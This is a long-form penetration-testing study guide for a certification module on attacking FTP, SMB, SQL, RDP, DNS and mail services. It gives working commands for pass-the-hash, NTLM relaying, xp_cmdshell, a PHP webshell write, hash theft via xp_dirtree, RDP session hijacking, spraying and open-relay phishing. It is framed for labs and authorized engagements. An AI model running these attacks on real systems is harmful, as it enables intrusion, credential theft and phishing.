FLOW ^: Pentest Workflow

Attacking Common Services — Full Guide

Detailed CPTS walkthrough for enumerating and exploiting the network services that dominate internal and perimeter networks: FTP, SMB, SQL (MySQL/MSSQL), RDP, DNS, and email (SMTP/POP3/IMAP) — anonymous access, default creds, spraying, misconfigurations, and the module's worked CVEs, framed by the Source → Process → Privileges → Destination model.

intermediate updated 2026-09-16 nmap · smbclient / smbmap / rpcclient / enum4linux-ng · netexec (nxc) / crackmapexec · impacket (psexec/smbexec/atexec/ntlmrelayx/mssqlclient/smbserver)

← Condensed cheat sheet · Workflow dashboard · Field manual · Applications guide →

Attacking Common Services — Full Guide fas:ClipboardList

[!dashboard] What this is The long-form companion to the Attacking Common Services cheat sheet. The cheat sheet is the card you keep open during a box; this guide is the walkthrough that explains why each step works, section by section, across the whole CPTS module. Reach for the cheat sheet mid-engagement and this guide when you’re learning the material or writing it up. For the broader cross-module field reference (NFS, Kerberos, WinRM, SNMP, SSH, chaining, cleanup) see the Network Service Attack Manual.

Common services are the plumbing every network runs on: a file share, a database, a mail server, a remote-desktop endpoint, a DNS resolver. They are rarely glamorous and almost never the thing a defender hardens first, which is exactly why they land footholds. A company patches its browsers and hardens its domain controllers, then leaves an FTP root that accepts anonymous, an MSSQL instance still running xp_cmdshell as a service account, or an SMB server that answers a null session and hands over its share list for free.

Every service in this module answers to the same loop. Learn the loop rather than memorising six unrelated exploits:

Common-services attack loopTD
Enumerate the servicenmap -sC -sV · banner · version
Try anonymous / null access(free, non-destructive, first)
Default → weak credentialsadmin:admin · root:<blank> · service defaults
Reuse everything founda filename, a mailbox string, a config valueas a candidate cred on every other service
Spray (lockout-aware)one password, many users, spaced
Turn access into code or creds
built-in feature
xp_cmdshell · WAR/webshell uploadSELECT ... INTO OUTFILE · tscon
version CVE
CoreFTP · SMBGhost · BlueKeepOpenSMTPD · Drupalgeddon-class
Loot → feed credential huntingand lateral movement

[!danger]+ Authorized targets only fas:TriangleExclamation Everything here affects availability and integrity of real services. Password spraying can lock accounts, NTLM relaying authenticates as a real user, and the RCE CVEs are the sharp end — BlueKeep can BSOD the host and OpenSMTPD RCE runs as root. Run this only on engagements or labs where you hold explicit written permission, spray with the lockout policy in front of you, get sign-off before firing a memory-corruption exploit at anything a client cares about, and treat every recovered credential as sensitive evidence rather than something to paste into permanent notes.


1 · Interacting with common services fas:Terminal

Before attacking a service you have to be fluent in using it normally, from both a Windows and a Linux vantage point. Most “attacks” in this module are abuse of the same legitimate interaction patterns shown here — recognising the normal shape of SMB, SQL, and mail traffic is what lets you spot the abnormal (and therefore interesting) later.

[!tip] Two shells on Windows cmd.exe runs native Windows commands only. PowerShell runs those and cmdlets, and gives you a real scripting language (Get-ChildItem, Select-String, New-PSDrive, PSCredential objects). Default to PowerShell for anything past a one-off dir.

SMB from Windows. Browse over a UNC path with no mapping, or map a drive with explicit creds and then treat it like local storage:

C:\htb> dir \\192.168.220.129\Finance\
C:\htb> net use n: \\192.168.220.129\Finance /user:plaintext Password123
C:\htb> dir n: /a-d /s /b | find /c ":\"      :: count files — gauge share size before searching
C:\htb> dir n:\*cred* /s /b                    :: filename search
C:\htb> findstr /s /i cred n:\*.*              :: content search — leaks different things

SMB from PowerShell. Same idea, but composes into the pipeline. Build a PSCredential for non-interactive auth:

PS C:\htb> $password = ConvertTo-SecureString 'Password123' -AsPlainText -Force
PS C:\htb> $cred = New-Object System.Management.Automation.PSCredential 'plaintext', $password
PS C:\htb> New-PSDrive -Name N -Root "\\192.168.220.129\Finance" -PSProvider FileSystem -Credential $cred
PS N:\> Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List   # PowerShell's grep

SMB from Linux. Mount it and it’s just a directory — no SMB-specific tooling needed afterwards. Prefer a credentials file so the password stays out of shell history and ps:

sudo apt install cifs-utils
sudo mount -t cifs //192.168.220.129/Finance /mnt/Finance -o credentials=/path/creds
#   creds file:  username=plaintext / password=Password123 / domain=.
grep -rn /mnt/Finance/ -ie cred

SQL clients. Native CLIs plus one GUI worth keeping installed:

sqsh -S 10.129.20.13 -U username -P Password123        # MSSQL from Linux (plaintext SQL auth only)
mysql -u username -pPassword123 -h 10.129.20.13         # MySQL from Linux
mssqlclient.py -p 1433 julio@10.129.203.7               # Impacket — supports NTLM hash / Kerberos
dbeaver &                                               # free, cross-platform, multi-engine GUI
C:\htb> sqlcmd -S 10.129.20.13 -U username -P Password123   :: MSSQL from Windows

[!info] Command breakdown

  • sqsh/sqlcmd are the native MSSQL CLIs; mysql is MySQL’s. mssqlclient.py (Impacket) is the one to reach for when you hold an NTLM hash rather than a plaintext password — sqsh/sqlcmd can’t do hash or Kerberos auth.
  • dbeaver speaks MySQL, MSSQL, PostgreSQL and more from one UI — the practical cross-platform substitute for SSMS (Windows-only) or MySQL Workbench.

Mail clients. Once you hold valid mailbox creds, a real client beats raw protocol commands for reading a mailbox:

sudo apt-get install evolution
export WEBKIT_FORCE_SANDBOX=0 && evolution   # if it dies with a bwrap sandbox error

[!tip] Current tooling For SMB enumeration prefer enum4linux-ng (maintained Python rewrite) over the effectively-unmaintained Perl enum4linux. Impacket is under active Fortra maintenance and is the de-facto standard for scripted SMB/MSSQL interaction.


2 · The concept of attacks ris:FileList

Rather than memorising per-protocol exploits in isolation, decompose any vulnerability into four categories. The same cycle reappears for CoreFTP, SMBGhost, BlueKeep, subdomain takeover, and the OpenSMTPD RCE — once you can place a technique in this frame, spotting the analogue on a service you’ve never touched gets much faster.

Source → Process → Privileges → DestinationLR
Sourcecode · libraries · configAPIs · user input
Processthe logic handling it— most vulns live here
PrivilegesSYSTEM/root · service acct · role= blast radius
Destinationlocal (file/service)or network (another host)

[!info] The four categories

  • Source — where the triggering input originates: already-executed code, a library, static config, an API, or direct user input. Protocol is irrelevant here; an HTTP header injection and a buffer overflow both reduce to “code” as the source.
  • Process — how program logic handles that input. Most real vulnerabilities live here, because it’s where a developer’s assumptions about input turn out to be wrong.
  • Privileges — the rights the process runs with. This sets the blast radius, not the exploitability: a simple bug in a process running as SYSTEM/root is disproportionately dangerous.
  • Destination — where the result lands: a local file/service, or another host over the network. The cycle is deliberately linear; a full chain is usually an initiation cycle (get a foothold / leak something) plus a trigger cycle (turn it into RCE).

Worked example — Log4j (CVE-2021-44228). A crafted JNDI string in the HTTP User-Agent header (Source) is misparsed by the logging function instead of being logged as text (Process); logging typically runs with elevated rights (Privileges); the JNDI lookup reaches out to attacker infrastructure hosting a malicious Java class (Destination). A second cycle then pulls that class back (Source), executes it (Process), inherits the same rights (Privileges), and opens a shell back to the attacker (Destination). Two four-step cycles chained — initiation, then trigger — which is the shape of nearly every exploit chain later in this module.


3 · Service misconfigurations fas:Terminal

Misconfigurations, not zero-days, are the everyday bread and butter of internal tests. Four categories recur across almost every service here:

  1. Weak / default authenticationadmin:admin, admin:password, blank passwords left after install, or a weak password set “to change later.”
  2. Anonymous authentication — access with no credentials at all. Common on FTP and SMB, occasionally on SQL.
  3. Misconfigured access rights — accounts with permissions beyond their role (an upload-only FTP account that can also read every document). Subtle, because the credentials are “correct” but the account is over-privileged.
  4. Unnecessary defaults — sample files, admin/debug interfaces, verbose errors left enabled because they ship on by default.

[!tip] The order to test in After a banner grab, check default credentials before anything sophisticated — cheap to try, disproportionately effective. If defaults fail, run the common weak combos (admin:<blank>, root:12345678, administrator:Password) before you reach for a full spray, and a spray before brute force.

OWASP’s A05:2021 – Security Misconfiguration doubles as an offensive checklist and ready-made remediation language for the report: disable unneeded admin interfaces, turn off debug/stack traces in production, change default creds immediately, block directory listing and info disclosure, scan on a schedule, automate identical hardening across environments (different creds per environment), and strip unused features/sample apps.


4 · Finding sensitive information ris:FileList

Attacking common services is detective work: a single, apparently insignificant thing found on one service is frequently the key to a completely different one. The canonical worked chain from the module makes the point — an empty file is the whole foothold:

One empty filename → RCE on a different boxLR
Anonymous FTPfinds empty file 'johnsmith'
johnsmith:johnsmithon FTP → fails
Same creds on email→ succeeds
Search mailbox for 'password'→ finds MSSQL creds
MSSQL → xp_cmdshell→ RCE on the DB server

The operationally useful takeaway is the sequencing: try anonymous access broadly across every discovered service first (cheap, fast, non-destructive), then use anything found — even an empty file’s name — as a candidate username or password against every other service, before falling back to brute force or exploitation. Searching any mailbox you get into for the literal string password is a surprisingly high-yield move. Tag credential candidates somewhere you can cross-reference them (Obsidian, Ghostwriter, Dradis) so a pivot doesn’t get lost in terminal scrollback.


5 · Attacking FTP fas:Terminal — TCP/21

FTP is a plaintext file-transfer protocol. Two misconfigurations dominate (anonymous auth, over-permissive access rights), and a modern CVE shows even a maintained product can carry a trivial arbitrary-write bug.

Enumerate. -sC runs ftp-anon, which both tests anonymous login and lists directory contents inline:

sudo nmap -sC -sV -p 21 192.168.2.142
#  | ftp-anon: Anonymous FTP login allowed (FTP code 230)
#  | drwxr-srwt   2 1170  924  2048 Jul 19 18:48 incoming [NSE: writeable]
#  221/tcp banner e.g. vsFTPd 2.3.4  → note the exact version for CVE lookup

The [NSE: writeable] tag flags a directory the anonymous session can write to — a direct route to webshell upload if that same FTP root is served over HTTP elsewhere on the host.

Anonymous login and file ops. Try anonymous with a blank/arbitrary password even without a prior ftp-anon hit — the script occasionally misses custom configs:

ftp 192.168.2.142      # Name: anonymous · Password: <blank>
ftp> ls                # navigate like Linux: ls / cd
ftp> get flag.txt      # get/mget download · put/mput upload · help lists client commands

Brute force / spray. -u a single known user, -U a list; spraying (one password, many users) is the safer default where lockout thresholds are unknown:

medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp
#  ACCOUNT FOUND: [ftp] User: fiona  Password: family [SUCCESS]
hydra -L users.txt -P rockyou.txt ftp://10.129.203.7      # often faster (better connection reuse)

FTP bounce. The PORT command can make an internet-facing FTP server proxy a scan to a third, internal host you can’t reach directly — turning it into a blind port scanner. Modern daemons block this by default, so a positive result is itself a reportable misconfiguration:

nmap -Pn -v -n -p80 -b anonymous:password@172.17.0.2 172.17.0.2
#  Login credentials accepted by FTP server! → 80/tcp open http (scanned via the proxy)

CoreFTP arbitrary file write (CVE-2022-22836). The HTTP PUT handler fails to normalise ../, so an authenticated curl writes a file anywhere the service account can:

curl -k -X PUT -H "Host: <IP>" --basic -u <user>:<pass> \
     --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops
#  C:\> type C:\whoops  →  PoC.

Mapped to the model: user-controlled path + escape chars (Source) → the traversal check validated only the starting directory, not the resolved path (Process/Privileges) → arbitrary file on disk (Destination). --path-as-is stops curl from collapsing the ../ before it’s sent.


6 · Attacking SMB fas:Terminal — TCP/445, 139

SMB (Server Message Block) is the largest attack surface in the module: file/printer/named-pipe sharing over TCP/445 (or 139 with legacy NetBIOS), with Samba as the Linux implementation. The path runs from unauthenticated enumeration all the way to a SYSTEM shell.

SMB: null session to SYSTEMTD
nmap -p139,445 -sC -sVcheck smb2-security-mode (signing)
Null session allowed?
yes
smbclient / smbmap / rpcclient -Nshares · users · groups · policy
no
Password spraynxc / crackmapexec
Valid admin-equivalent creds or hash
RCE (psexec/smbexec/atexec) · --sam dump · Pass-the-Hash→ SYSTEM

Enumerate. -sV -sC reveal the implementation, version, NetBIOS name, and — critically — whether message signing is enforced:

sudo nmap 10.129.14.128 -sV -sC -p139,445
#  445/tcp open  netbios-ssn  Samba smbd 4.6.2          (Samba ⇒ Linux target)
#  smb2-security-mode:  Message signing enabled but not required   ← relaying is possible

Signing not required is a prerequisite for the NTLM relay in step 8 — always note it during initial enumeration.

Null session share / RPC enumeration. A null session is an SMB connection with no username or password; if it works, treat it as equivalent to low-priv creds for enumeration:

smbclient -N -L //10.129.14.128        # list shares (ADMIN$, C$, custom shares, IPC$)
smbmap -H 10.129.14.128                 # same, but with per-share R/W permission columns
smbmap -H 10.129.14.128 --download "notes\note.txt"   # transfer without an interactive session
rpcclient -U'%' 10.10.110.17            # null session RPC shell
rpcclient $> enumdomusers               #   user:[mhope] rid:[0x641] ...
./enum4linux-ng.py 10.10.11.45 -A -C    # one-pass domain/users/groups/shares/policy

Spray. One password across a user list avoids the lockout risk of many-passwords-per-account; --local-auth targets non-domain accounts; (Pwn3d!) marks confirmed local admin:

nxc smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-auth
#  [+] WIN7BOX\jurena:Company01! (Pwn3d!)
#  --continue-on-success  keeps going past the first hit

[!tip] CrackMapExec → NetExec NetExec (nxc) is the actively developed successor to CrackMapExec — same syntax family, more protocol modules. Every crackmapexec smb ... in older writeups maps 1:1 to nxc smb .... Examples below use nxc; the classic crackmapexec name still works where CME is installed.

Remote code execution. With admin-equivalent creds, three Impacket methods, each landing a SYSTEM shell by a different mechanism:

impacket-psexec administrator:'Password123!'@10.10.110.17    # uploads a service to ADMIN$, runs via SCM
#  C:\Windows\system32> whoami  →  nt authority\system
nxc smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec

impacket-smbexec avoids RemComSvc and works without a writable share (it stands up a local SMB server for output); impacket-atexec runs through Task Scheduler instead of the SCM — useful when service creation is blocked or heavily logged.

Dump SAM hashes. Sweep a subnet for who’s logged on, then dump the local NTLM hashes:

nxc smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users   # find where a DA is sitting
nxc smb 10.10.110.17   -u administrator -p 'Password123!' --sam
#  Administrator:500:aad3b435...:2b576acbe6bcfda7294d6bd18041b8fe:::

Pass-the-Hash. Windows challenge-response only needs the hash, never the plaintext — so a dumped or captured NTLM hash is immediately usable for lateral movement. PtH is a property of NTLM auth, not a tool feature; it works identically with Impacket, smbmap, and nxc:

nxc smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE
#  [+] WIN7BOX\Administrator:2B57... (Pwn3d!)

Forced authentication + relay (Responder / ntlmrelayx). Responder answers LLMNR/NBT-NS/mDNS broadcasts (which fire whenever a client mistypes a hostname or DNS fails) as the server the victim wanted, capturing a NetNTLMv2 hash. Crack it, or relay it live:

sudo responder -I ens33
#  [SMB] NTLMv2-SSP Hash : demouser::WIN7BOX:997b18cc61099ba2:...
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt      # 5600 = NetNTLMv2

# If cracking fails, relay instead. Turn off Responder's own SMB server first (SMB = Off):
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
#  add  -c '<cmd>'  to run a command on the relay target instead of the default SAM dump

Relaying only works where SMB signing is not enforced — the check you made during enumeration. This is the same Source→Process→Privileges→Destination cycle as the SQL xp_dirtree hash steal in the next section, just triggered by a broadcast name-resolution mistake instead of a SQL stored procedure.

SMBGhost (CVE-2020-0796) — concept only. An integer overflow in SMBv3.1.1 compression negotiation on Windows 10 1903/1909: an oversized compressed message overflows a size-check integer, writing past the buffer and overwriting adjacent instructions, which the attacker shapes to redirect execution. Kernel-level exploit development, outside this module’s scope, but a clean example of the model at the memory-corruption layer.


7 · Attacking SQL databases fas:Terminal — MSSQL 1433 · MySQL 3306

Databases store credentials, PII, and business data, and often run with excessive service-account privileges — high value on both counts. MSSQL and MySQL both speak SQL/T-SQL once you’re in.

SQL access to OS command executionTD
Authenticatemysql · sqsh · sqlcmd · mssqlclient.py
Privilege held?
MSSQL sysadmin
xp_cmdshell → RCE
MySQL FILE
SELECT ... INTO OUTFILE → webshell
IMPERSONATE granted
EXECUTE AS LOGIN='sa'→ effective sysadmin
OS command execution as the SQL service accountor pivot via linked server

[!info] MSSQL auth modes Windows auth (default) ties SQL Server to Windows/AD — already-authenticated users need no further creds. Mixed mode additionally allows SQL-native username/password accounts. Specifying a domain/hostname on connect selects Windows auth; omitting it assumes SQL auth. In sqsh, a leading .\ (.\\julio) explicitly forces a local SQL account.

Enumerate. MSSQL defaults to TCP/1433 (a “hidden” instance can sit on 2433); MySQL to TCP/3306. Nmap’s ms-sql-* scripts leak version, hostname, and domain with no auth:

nmap -Pn -sV -sC -p1433,3306 10.10.10.125
#  1433/tcp ms-sql-s  Microsoft SQL Server 2017 ...  DNS_Computer_Name: mssql-test.HTB.LOCAL

Connect and enumerate data. Every batch in sqsh/sqlcmd needs GO on its own line:

-- MySQL
SHOW DATABASES; USE htbusers; SHOW TABLES; SELECT * FROM users;
-- MSSQL (sqsh/sqlcmd)
SELECT name FROM master.dbo.sysdatabases
GO
SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
GO

Ignore the system DBs when hunting data — MySQL mysql/information_schema/performance_schema/sys, MSSQL master/msdb/model/resource/tempdb — they fingerprint the engine but hold no company data.

Command execution — xp_cmdshell (MSSQL). An extended stored procedure that spawns a Windows process as the SQL service account. Disabled by default, re-enabled trivially with sysadmin:

xp_cmdshell 'whoami'
GO
--  no service\mssql$sqlexpress
-- if disabled:
EXECUTE sp_configure 'show advanced options', 1; RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGURE;
GO

It runs synchronously — control returns only when the command finishes, worth remembering for long-running payloads. MySQL has no direct equivalent but supports UDFs that can run C/C++; rare in production, worth checking.

Read / write local files. Note the asymmetric MSSQL defaults — reads work out of the box, writes need Ole Automation enabled first:

-- MySQL (needs FILE priv + empty secure_file_priv; check SHOW VARIABLES LIKE 'secure_file_priv')
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
SELECT LOAD_FILE("/etc/passwd");
-- MSSQL read (no special config)
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS x
GO

Writing a PHP one-liner straight into the web root turns a file-write primitive into RCE if the box also serves web content.

Privilege escalation via IMPERSONATE. A self-contained privesc inside SQL Server — worth checking on every MSSQL foothold, even without OS access. Find who you can impersonate, then become them (no password needed):

SELECT DISTINCT b.name FROM sys.server_permissions a
  INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
  WHERE a.permission_name = 'IMPERSONATE'
GO                                    --  name: sa
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')   --  1  ⇒ full sysadmin; xp_cmdshell now available
GO                                    --  REVERT switches back

Linked-server pivoting. Pass-through T-SQL to a second SQL instance; if the linked server’s stored creds have sysadmin, you own that box too. Double single quotes inside the query to escape:

SELECT srvname, isremote FROM sysservers
GO
EXECUTE('select @@servername, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
GO

Steal the service-account hash (xp_dirtree / xp_subdirs). These procedures reach a path over SMB — point them at your box and the MSSQL service account authenticates to you:

sudo impacket-smbserver share ./ -smb2support     # or: sudo responder -I tun0
EXEC master..xp_dirtree '\\10.10.110.17\share\'
GO
--  [SMB] NTLMv2-SSP Hash : SRVMSSQL\demouser::WIN7BOX:5e3ab1c4380b94a1:...

xp_subdirs sometimes errors with access-denied even though the authentication (and hash capture) still completes — a stored-procedure error is not proof the technique failed. Same forced-auth cycle as SMB Responder, triggered from inside SQL.


8 · Attacking RDP fas:Terminal — TCP/3389

RDP is Microsoft’s graphical remote-admin protocol, heavily used by sysadmins and MSPs — a prime target. Account lockout policies apply, so spray, don’t brute force.

Enumerate. ms-wbt-server confirms RDP; rdp-ntlm-info/rdp-enum-encryption add domain/cipher fingerprinting:

nmap -Pn -p3389 --script rdp-ntlm-info 192.168.2.143
#  3389/tcp open  ms-wbt-server

Spray. Crowbar is purpose-built for RDP/VNC; Hydra’s rdp module is flagged experimental upstream — reduce parallelism and add wait time:

crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
#  RDP-SUCCESS : 192.168.220.142:3389 - administrator:password123
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp -t 1 -W 3

Log in. xfreerdp is the maintained client of choice (dynamic resolution, clipboard, drive redirection, Pass-the-Hash) over the stagnant rdesktop:

xfreerdp /v:<target> /u:<user> /p:'<password>'      # accept the self-signed cert warning

Session hijacking (local admin → SYSTEM → hijack). tscon.exe reconnects another user’s session by ID with no password — but only from a SYSTEM context. Services run as Local System, so create one whose binpath is the tscon call:

C:\htb> query user
#   juurena  rdp-tcp#13  1  Active   ·   lewen  rdp-tcp#14  2  Active
C:\htb> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
C:\htb> net start sessionhijack        :: reconnects you to lewen's (id 2) session

Confirmed broken on Server 2019+ — Microsoft restricted the technique; check the target build first.

Pass-the-Hash via Restricted Admin Mode. Disabled by default; enabling it needs prior local admin. Then xfreerdp /pth: authenticates with the raw NTLM hash — the RDP equivalent of SMB PtH:

C:\htb> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
xfreerdp /v:192.168.220.152 /u:lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9

BlueKeep (CVE-2019-0708) — concept only. Attacker-manipulated data during the RDP virtual-channel settings exchange (Source) triggers a Use-After-Free in a kernel function running as LocalSystem (Process/Privileges), and the trigger cycle writes and executes attacker instructions in the freed memory for network RCE (Destination).

[!warning] Stability risk BlueKeep can crash the target with a BSOD and has caused real instability in the wild. For labs, Metasploit’s rdp_scanner aux and cve_2019_0708_bluekeep_rce modules are the vetted route. Against anything a client cares about, get explicit sign-off before firing.


9 · Attacking DNS fas:Terminal — UDP/53, TCP/53

DNS underpins nearly every network application, which makes it a consistently high-value surface. Three distinct vectors here have very different reach: zone transfer and subdomain takeover are remotely exploitable; DNS spoofing needs local L2 adjacency.

Zone transfer (AXFR). A zone transfer copies a chunk of the DNS database for replication and requires no auth by protocol design. A server that permits AXFR from any client leaks its entire internal namespace in one request:

nmap -p53 -Pn -sV -sC 10.10.110.213           # 53/tcp open domain ISC BIND 9.11.3
dig AXFR @ns1.inlanefreight.htb inlanefreight.htb
#  admin.inlanefreight.htb.  IN A 10.129.110.21
#  hr.inlanefreight.htb.     IN A 10.129.110.25   ← internal hostnames + IP scheme, unauthenticated
fierce --domain zonetransfer.me                # automates AXFR across every discovered NS

Subdomain enumeration → takeover. A CNAME pointing at a deleted/expired third-party resource (an S3 bucket, a CDN endpoint) leaves the subdomain “dangling.” Claim that resource and you control what the trusted subdomain serves — without ever touching the target’s own DNS:

./subfinder -d inlanefreight.com -v            # passive, OSINT-sourced — fast and quiet
host support.inlanefreight.com
#  is an alias for inlanefreight.s3.amazonaws.com   → visiting returns AWS "NoSuchBucket"
#  register an S3 bucket named 'inlanefreight' ⇒ takeover

Check every third-party-hosted CNAME against can-i-take-over-xyz (catalogues which providers are currently vulnerable and how to claim each), or automate detection with Nuclei’s subdomain-takeover templates. Run passive enumeration (Subfinder) before active brute force (Subbrute/Sublist3r).

Local DNS spoofing (Ettercap / Bettercap). Strictly L2-adjacent, unlike the two vectors above. Poison the answer, then ARP-spoof yourself into the path:

cat /etc/ettercap/etter.dns
#  inlanefreight.com    A  192.168.225.110
#  *.inlanefreight.com  A  192.168.225.110
#  Ettercap: Hosts > Scan for Hosts → set victim=Target1, gateway=Target2 → Plugins > dns_spoof

Bettercap is the maintained, more scriptable successor to Ettercap and worth defaulting to for MITM/spoofing work.


10 · Attacking email services fas:Terminal — SMTP 25/465/587 · POP3 110/995 · IMAP 143/993

Email needs at least two protocols — SMTP for sending, POP3/IMAP for retrieval — and increasingly a cloud provider in front of both. The MX record decides the entire approach that follows.

MX record decides the pathTD
dig/host MX record
Cloud provider or self-hosted?
self-hosted
nmap 25,110,143,465,587,993,995VRFY/EXPN/RCPT · USER · open relay
Office 365
o365spray --validate → --enum → --spraypurpose-built, lockout-aware
Mailbox access → search for 'password'

[!info] MX reconnaissance first The MX record identifies who handles the domain’s mail — Microsoft 365 (*.mail.protection.outlook.com), G-Suite (aspmx.l.google.com), Zoho (mx.zoho.com), or a self-hosted server. Each needs a completely different enumeration approach, so resolve it before anything else.

MX + port enumeration:

host -t MX hackthebox.eu                        # aspmx.l.google.com  → cloud (G-Suite)
dig mx inlanefreight.com | grep MX | grep -v ';'
host -t A mail1.inlanefreight.htb.              # resolve the mail host, then scan it
sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 10.129.14.128
#  25/tcp smtp Postfix smtpd · smtp-commands: ... VRFY ...   ← VRFY present ⇒ user enum worth trying

Manual SMTP username enumeration. Three independent primitives — disabling one (commonly VRFY) doesn’t close the others, so test all three:

telnet 10.10.110.20 25
VRFY root                         # 252 = exists · 550 = unknown
EXPN support-team                 # expands a distribution list into member addresses (bigger leak)
MAIL FROM:john@inlanefreight.htb
RCPT TO:john                      # 250 = recipient ok · 550 = user unknown (hard to disable)

POP3 user enumeration + automation:

telnet 10.10.110.20 110
USER john                         # +OK = valid · -ERR = invalid
smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7
#  john@inlanefreight.htb exists

Office 365 enumeration and spraying. Generic tools are blocked by Microsoft’s throttling — use a purpose-built tool that respects lockout, and keep it current as MS changes endpoint behaviour:

python3 o365spray.py --validate --domain msplaintext.xyz        # is this domain even O365?
python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz   # valid accounts, no password needed
python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz
#  [VALID] julio@msplaintext.xyz:March2022!

Password attacks against self-hosted mail (Hydra). -L users -p 'password' sprays; swap the module name for smtp/imap:

hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3
#  [110][pop3] login: john  password: Company01!

Open relay abuse. A relay that forwards mail from arbitrary sources without auth lets you send as any internal address — a phishing-as-trusted-sender capability, not just info disclosure:

nmap -p25 -Pn --script smtp-open-relay 10.10.11.213      # Server is an open relay (14/16 tests)
swaks --from admin@company.com --to john@company.com \
      --header 'Subject: Company Notification' \
      --body 'Please complete this survey: http://phish/' --server 10.10.11.213

OpenSMTPD RCE (CVE-2020-7247) — concept only. Unauthenticated input during SMTP session composition (Source) is misparsed by OpenSMTPD’s sender-field handler, which treats a ; as a delimiter into shell execution rather than terminating the address (Process). Because OpenSMTPD binds a standardised port it runs as root (Privileges), so the smuggled 64-char-limited command executes as root and shells back out (Destination) — a clean reminder that a simple parsing bug in a root-owned, standard-port daemon is full unauthenticated RCE.


11 · Skills assessment fas:Terminal

The module closes with three Inlanefreight servers — Easy, Medium, Hard — each hiding an HTB{...} flag and requiring the whole module’s toolkit against a target with no hints beyond a short business description. None of the three needs a novel technique; the assessment is proof the per-service checklists and the Concept-of-Attacks model generalise.

[!info] Scenario briefs (read them like a scoping doc)

  • Easy — “manages emails, customers, and their files” → email + file share (SMB/FTP) enumeration first.
  • Medium — an internal inlanefreight.htb host that “stores emails and files… used relatively rarely… only for testing” → a probably-under-hardened box; prioritise default/test credentials.
  • Hard — an internal file/working-material server that also runs “a database… the purpose of which we do not know” → file-share enumeration chained into an unknown SQL database via credential reuse.

Methodology for all three — the brief itself is reconnaissance:

sudo nmap -p- -sV -sC -T4 <TARGET_IP> -oN full_scan.txt
  • -p- scans all 65535 ports, not the default top-1000 — non-negotiable on “internal / rarely used” hosts that frequently run services on non-standard ports.
  • Then work each open port through its section above, anonymous/null access first (it’s free), then default/weak creds, then known misconfigs, then version CVEs.
PortApply
21 (FTP)§5 — anonymous login, brute force, CVEs
139/445 (SMB)§6 — null session, smbclient -L, smbmap, spray
1433/3306 (SQL)§7 — default/weak creds, xp_cmdshell, file r/w
3389 (RDP)§8 — spray, PtH if a hash is available
53 (DNS)§9 — zone transfer, subdomain enumeration
25/110/143 (Mail)§10 — user enumeration, open relay, spray

The connective tissue is credential reuse. One confirmed credential set is worth testing against every discovered service immediately — nxc/crackmapexec share the same -u/-p syntax across smb, mssql, ftp, ssh, which is exactly what the Hard scenario (file server → unknown database) is built to test.


Cross-service chaining — the whole point fas:Lightbulb

Individually, none of these services is a “vulnerability.” Their value is how they chain:

  1. Anonymous/null first, everywhere. FTP ftp-anon, SMB -N, mailbox USER probes — cheap, fast, non-destructive, and frequently the entire foothold.
  2. Everything is a candidate credential. An empty filename, a config value, a mailbox string, a connection string in a binary → test it as a username and a password against every other service.
  3. Misconfig before CVE. Default creds, anonymous auth, and exposed management interfaces land more boxes than memory-corruption bugs. Check them first.
  4. Hashes are as good as passwords. A dumped SAM hash or a Responder-captured NetNTLMv2 is immediately actionable via Pass-the-Hash or relay — cracking is a bonus, not a requirement.
  5. Signing and lockout are the two flags to note during enumeration — SMB smb2-security-mode decides whether relay is on the table; the account lockout policy decides how aggressively you can spray.

References & sources fas:BookOpen

Distilled from the HackTheBox Academy Attacking Common Services module (CPTS path, module 11) and field-tested tooling notes.

  1. OWASP Top 10 · A05:2021 Security Misconfiguration
  2. CVE-2022-22836 · CoreFTP arbitrary file write
  3. CVE-2020-0796 · SMBGhost
  4. CVE-2019-0708 · BlueKeep
  5. CVE-2020-7247 · OpenSMTPD RCE
  6. CVE-2021-44228 · Log4Shell
  7. can-i-take-over-xyz · subdomain takeover reference
  8. Microsoft · xp_cmdshell (Transact-SQL)
  9. NetExec (nxc) · documentation
  10. Impacket · Fortra/impacket

[!navigation] Keep going Condensed card: Attacking Common Services cheat sheet · Field manual: Network Service Attack Manual · Applications: Attacking Common Applications guide · Credentials: Password Attacks & Credential Hunting · Dashboard: CPTS Workflow